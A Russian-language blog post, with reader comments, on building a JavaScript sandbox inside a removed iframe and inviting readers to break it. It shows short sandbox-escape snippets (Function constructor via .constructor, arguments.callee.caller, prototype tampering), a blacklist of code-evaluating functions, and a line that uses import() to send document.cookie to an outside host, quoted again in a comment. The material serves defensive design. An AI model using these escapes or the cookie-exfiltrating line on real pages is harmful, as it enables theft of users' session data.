$mol_func_sandbox: взломай меня, если сможешь!.

Здравствуйте, меня зовут Дмитрий Карловский и я… хочу сыграть с вами в игру. Правила её очень просты, но их нарушение… приведёт вас к победе. Почувствуйте себя в роли хакера выбирающегося из JavaScript песочницы с целью прочитать куки, намайнить биткоины, сделать дефейс или ещё что-нибудь интересное.



https://sandbox.js.hyoo.ru/


А далее я расскажу как работает песочница и подкину несколько идей для взлома.


Как это работает


Итак, первым делом нам надо спрятать все глобальные переменные. Сделать это просто — достаточно замаскировать их одноимёнными локальными переменными:


for( let name in window ) {
    context_default[ name ] = undefined
}

Однако, многие свойства (например, window.constructor) являются неитерируеммыми. Поэтому необходимо итерироваться по всем пропертям объекта:


for( let name of Object.getOwnPropertyNames( window ) ) {
    context_default[ name ] = undefined
}

Но Object.getOwnPropertyNames возвращает лишь собственные свойства объекта, игнорируя всё, что он наследует от прототипа. Поэтому надо аналогичным образом пройтись по всей цепочке прототипов и собрать имена всех возможных свойств глобального объекта:


function clean( obj : object ) {

    for( let name of Object.getOwnPropertyNames( obj ) ) {
        context_default[ name ] = undefined
    }

    const proto = Object.getPrototypeOf( obj )
    if( proto ) clean( proto )

}
clean( win )

И всё бы хорошо, да только этот код падает, ибо в строгом режиме нельзя объявлять локальную переменную с именем eval:


'use strict'
var eval // SyntaxError: Unexpected eval or arguments in strict mode

А вот использовать — пожалуйста:


'use strict'
eval('document.cookie') // password=P@zzW0rd

Ну, ничего, благо глобальный eval можно просто удалить:


'use strict'
delete window.eval
eval('document.cookie') // ReferenceError: eval is not defined

А для надёжности лучше пройтись по всем собственным свойствам и всё поудалять:


for( const key of Object.getOwnPropertyNames( window ) ) delete window[ key ]

Зачем нам вообще строгий режим? Да потому что без него можно использовать arguments.callee.caller чтобы получить любую функцию выше по стеку и натворить дел:


function unsafe(){ console.log( arguments.callee.caller ) }
function safe(){ unsafe() }
safe() // ƒ safe(){ unsafe() }

Кроме того, в нестрогом режиме легко получить глобальный неймспейс просто взяв this при вызове функции не как метода:


function get_global() { return this }
get_global() // window

Ладно, все глобальные переменные мы замаскировали. Но их значения всё ещё можно получить из примитивов языка. Например:


var Function = ( ()=>{} ).constructor
var hack = new Function( 'return document.cookie' )
hack() // password=P@zzW0rd

Что делать? Удаляем небезопасные конструкторы:


Object.defineProperty( Function.prototype , 'constructor' , { value : undefined } )

Этого было бы достаточно для какого-то древнего яваскрипта, но сейчас у нас есть разные виды функций и каждый вариант следует обезопасить:


var Function = Function || ( function() {} ).constructor
var AsyncFunction = AsyncFunction || ( async function() {} ).constructor
var GeneratorFunction = GeneratorFunction || ( function*() {} ).constructor
var AsyncGeneratorFunction = AsyncGeneratorFunction || ( async function*() {} ).constructor

В одной песочнице могут запускаться разные скрипты и будет не хорошо, если они смогут влиять на работоспособность друг друга, поэтому замораживаем все объекты, доступные через примитивы языка:


for( const Class of [
    String , Number , BigInt , Boolean , Array , Object , Promise , Symbol , RegExp , 
    Error , RangeError , ReferenceError , SyntaxError , TypeError ,
    Function , AsyncFunction , GeneratorFunction ,
] ) {
    Object.freeze( Class )
    Object.freeze( Class.prototype )
}

Ок, тотальное огораживание мы реализовали, но цена этому — жёсткое надругательство над рантаймом, что может сломать и наше собственное приложение. То есть нам нужен отдельный рантайм для песочницы, где можно творить любые непотребства. Получить его можно двумя способами: через скрытый фрейм или через веб-воркер.


Особенности воркера:


  • Полная изоляция памяти. Из воркера невозможно сломать рантайм основного приложения.
  • В воркер нельзя передать свои функции, что часто необходимо. Это ограничение можно частично обойти через реализацию RPC.
  • Воркер можно прибить по таймауту, если злодей напишет там бесконечный цикл.
  • Вся коммуникация строго асинхронная, что не очень быстро.

Особенности фрейма:


  • Можно передавать во фрейм любые объекты и функции, но по ссылкам можно случайно предоставить доступ к тому, к чему не стоило бы.
  • Бесконечный цикл в песочнице вешает всё приложение.
  • Вся коммуникация строго синхронная.

Реализация RPC для воркера — дело не хитрое, но его ограничения не всегда приемлемы. Поэтому рассмотрим вариант с фреймом.


Если в песочницу передать какой-либо объект из которого по ссылкам доступен хоть какой-то изменяемый объект, то из песочницы можно будет его поменять и сломать наше приложение:


numbers.toString = ()=> { throw 'lol' }

Но это ещё цветочки. Передача в во фрейм любой функции тут же откроет кулхацкеру настежь все двери:


var Function = random.constructor
var hack = new Function( 'return document.cookie' )
hack() // password=P@zzW0rd

Ну ничего, прокси спешит на помощь:


const safe_derived = ( val : any ) : any => {

    const proxy = new Proxy( val , {

        get( val , field : any ) {
            return safe_value( val[field] )
        },

        set() { return false },
        defineProperty() { return false },
        deleteProperty() { return false },
        preventExtensions() { return false },

        apply( val , host , args ) {
            return safe_value( val.call( host , ... args ) )
        },

        construct( val , args ) {
            return safe_value( new val( ... args ) )
        },
    }

    return proxy
})

То есть мы разрешаем обращаться к свойствам, вызывать функции и конструировать объекты, но запрещаем все инвазивные операции. Соблазнительно возвращаемые значения тоже заворачивать в такие прокси, но тогда можно будет добраться по ссылкам до объекта у которого есть какой-либо мутирующий метод и воспользоваться им:


config.__proto__.__defineGetter__( 'toString' , ()=> ()=> 'rofl' )
({}).toString() // rofl

Поэтому все значения принудительно прогоняем через промежуточную сериализацию в JSON:


const SafeJSON = frame.contentWindow.JSON

const safe_value = ( val : any ) : any => {

    const str = JSON.stringify( val )
    if( !str ) return str

    val = SafeJSON.parse( str )
    return val

}

Таким образом из песочницы будут доступны только объекты и функции которые мы передали туда явно. Но порой нужно и неявно передавать некоторые объекты. Для них заведём whitelist в который будем автоматически добавлять все объекты, что заворачиваются в безопасный прокси, проходят обезвреживание или приходят из песочницы:


const whitelist = new WeakSet

const safe_derived = ( val : any ) : any => {
    const proxy = ...
    whitelist.add( proxy )
    return proxy
}

const safe_value = ( val : any ) : any => {

    if( whitelist.has( val ) ) return val

    const str = JSON.stringify( val )
    if( !str ) return str

    val = SafeJSON.parse( str )
    whitelist.add( val )
    return val
}

И на случай, если разработчик по невнимательности предоставит доступ к какой-либо функции позволяющей интерпретировать строку как код, заведём ещё blacklist, с перечислением того, что в песочницу нельзя передавать ни при каких обстоятельствах:


const blacklist = new Set([
    ( function() {} ).constructor ,
    ( async function() {} ).constructor ,
    ( function*() {} ).constructor ,
    eval ,
    setTimeout ,
    setInterval ,
])

Наконец, есть такая противная вещь как import(), которая является не функцией, а конструкцией языка, поэтому просто удалить её не получится, а натворить дел она позволяет:


import( "https://example.org/" + document.cookie )

Мы могли бы с помощью атрибута sandbox у фрейма запретить исполнять скрипты загруженные с левого домена:


frame.setAttribute( 'sandbox' , `allow-same-origin` )

Но запрос до сервера всё-равно пройдёт. Поэтому лучше воспользоваться более надёжным решением — прибить event-loop путём удаления фрейма, после получения из него всех нужных для запуска скриптов объектов:


const SafeFunction = frame.contentWindow.Function
const SafeJSON = frame.contentWindow.JSON
frame.parentNode.removeChild( frame )

Соответственно, любые асинхронные операции будут выдавать ошибку, но синхронные будут продолжать работать.


В результате у нас получилась довольно безопасная песочница со следующими характеристиками:


  • Можно исполнять произвольный JS код.
  • Код исполняется синхронно и не требует делать все функции выше по стеку асинхронными.
  • Нельзя прочитать данные к которым не предоставлен доступ.
  • Нельзя изменить поведение использующего песочницу приложения.
  • Нельзя сломать работоспособность собственно песочницы.
  • Можно подвесить приложение бесконечным циклом.

Но что делать с бесконечными циклами? Они достаточно легко детектируются. Такой код можно не пропускать ещё на этапе его ввода злоумышленником. А даже если такой код и пролезет, то можно детектировать его постфактум и удалять автоматически или вручную.


Если есть идеи как это можно улучшить или хотите вступить в ТехноГильдиюпишите телеграммы.


Ссылочки


  • https://sandbox.js.hyoo.ru/ — онлайн песочница с примерами потенциально опасного кода.
  • https://calc.hyoo.ru/ — электронная таблица, позволяющая использовать в ячейках произвольный JS код.
  • https://t.me/mol_news — канал с новостями об экосистеме $mol и открытых проектах ТехноГильдии.

Обратная связь


Ads
AdBlock has stolen the banner, but banners are not teeth — they will be back

More

Comments 12

    +2
    Итак, в сухом остатке:
    1) Мужественно боремся с глобальными объектами по принципу blacklist, что означает, что как только проект перестанет обновляться, а в браузеры запилят еще одну <...>Function — тут-то сразу вся безопасность и накроется.
    2) Никак не решаем (и принципиально не можем) решить проблему останова, что в итоге хоть и не позволит нехорошему человеку «всё сломать», зато легко позволить «всё повесить».
    3) Высказываем «фэ» в адрес воркеров, которые позволяют сильно уменьшить объем возни по пункту №1 и способны принципиально решать пункт №2.

    Я ничего не упустил?
      0

      Ага.

        0
        1. blacklist — это страховка от невнимательности программиста при импорте значениий в песочницу. Сами по себе они импортироваться не начнут при обновлении браузера.
        2. Эта проблема решается в другой плоскости: у злоумышленника UI повиснет ещё на этапе ввода. А если он пришлёт бесконечный цикл в обход UI, то он легко детектируется и банится.
        3. Перечитайте ещё раз. Когда допустимы ограничения воркера — это лучшее решение.
          +2
          2. Ага, особенно если отключить определенный (ваш) JS. А если пришлёт — это детсад какой-то. «Просто цикл» конечно легко задетектировать, а как вы будете детектировать сложные скрипты, которые вроде бы что-то полезное делают, и вроде бы не висят (но в них есть, скажем, таймбомба, вешающая их в определенный момент)?

          3. Вы ни слова не сказали о кейсах, которые не позволяют вам взять воркер. Только общие слова.
            +1
            1. Не верно понял сначала. Да, если в браузеры добавят ещё какие-либо синтаксические конструкции, то нужно будет обновить код для их поддержки.
            2. Всё просто — запускаем и замеряем время исполнения. Всё, что превышает лимит — отбраковывается. Не важно, что-то полезное оно там делает или не очень.
            3. Вам, как любителю MobX, должна быть знакома концепция автотрекинга зависимостей, для работоспособности которой вызовы должны быть именно синхронными.
          0
          2) Проблему останова решать не нужно, если используется тайпскрипт или только подмножество js где мы можем за счет статического анализа найти циклы и рекурсию то дальше просто добавляем в цикл дополнительный код который будет проверять время и останавливать цикл если выполняется дольше положенного либо будет реагировать на кнопку остановки (если это внешний плагин в каком-то редакторе например как это работает в figma.com)
          +1

          Я правильно понимаю, что код песочницы в итоге запускается в IFrame? Не проще ли тогда просто воспользоваться нативным sandbox аттрибутом?

            0
            Ну и безопасность через чёрные списки прекрасна тем, что как только вы что-то забыли — так сразу становится всё плохо. Например, вы забыли про import() — дополнительную дыру по выполнению JS это не создаёт, потому что если даже что-то импортировать, оно всё равно будет выполняться в покалеченном айфрейме, но зато помимо возможности повесить песочницу это создаёт прикольную возможность отгрузить кому-то на комп содержимое /dev/random. Всего-то сервер нужен.
              +1

              Спасибо, добавил историю про import:


              Заголовок спойлера

              Наконец, есть такая противная вещь как import(), которая является не функцией, а конструкцией языка, поэтому просто удалить её не получится, а натворить дел она позволяет:


              import( "https://example.org/" + document.cookie )

              Мы могли бы с помощью атрибута sandbox у фрейма запретить исполнять скрипты загруженные с левого домена:


              frame.setAttribute( 'sandbox' , `allow-same-origin` )

              Но запрос до сервера всё-равно пройдёт. Поэтому лучше воспользоваться более надёжным решением — прибить event-loop путём удаления фрейма, после получения из него всех нужных для запуска скриптов объектов:


              const SafeFunction = frame.contentWindow.Function
              const SafeJSON = frame.contentWindow.JSON
              frame.parentNode.removeChild( frame )

              Соответственно, любые асинхронные операции будут выдавать ошибку, но синхронные будут продолжать работать.

              +2
              Известная компания Figma уже пыталась сделать песочницу используя всякие костыли вроде with и proxy-объекты — www.figma.com/blog/how-we-built-the-figma-plugin-system Но потом наевшись дыр они таки перешли на белый список правда через интерпретацию js собственным движком — www.figma.com/blog/an-update-on-plugin-security
              Я придерживаюсь мнения что оба варианта это либо костыли либо тормоза. Правильным вариантом был бы статический анализ кода (тот же белый список но только без интерпретации — то есть со скоростью нативного js). Это правда реализовать сложнее — нужно взять некое подмножество typescript в котором невозможен будет any и будет разрешен только набор предусмотренных апишек но зато это будет белый список и эту песочницу по определению нельзя будет взломать
                +1
                Вот я тоже искренне не понимаю попытку обеспечить безопасность способом, собирающим максимальное количество граблей.
                Среди черного списка, белого списка, и песочницы — черный список испокон веков самый проблемный, а уж в JS и подавно, учитывая скорость изменений. Конечно, было бы веселее, если бы в браузере можно было бы погонять полноценную песочницу — тогда это был бы хороший выход для тех, кому надо что-то не сильно обрезанное, но с этим пока что увы. Впрочем, воркеры не без оговорок на роль песочницы могут вполне сгодиться.

                Ну а уж если особой мощи скриптов не нужно (а учитывая, сколько всего лихо отпилил от ЖСа автор статьи — ни о какой «особой мощи» говорить не приходится) — то белый список является во многие разы более безопасным решением, чем очередная попытка навелосипедить чёрный.
                  0

                  Всё, что было отпилено, может быть возвращено как раз через белый список. Кроме вещей, находящихся в чёрном списке, разумеется.

              Only users with full accounts can post comments. Log in, please.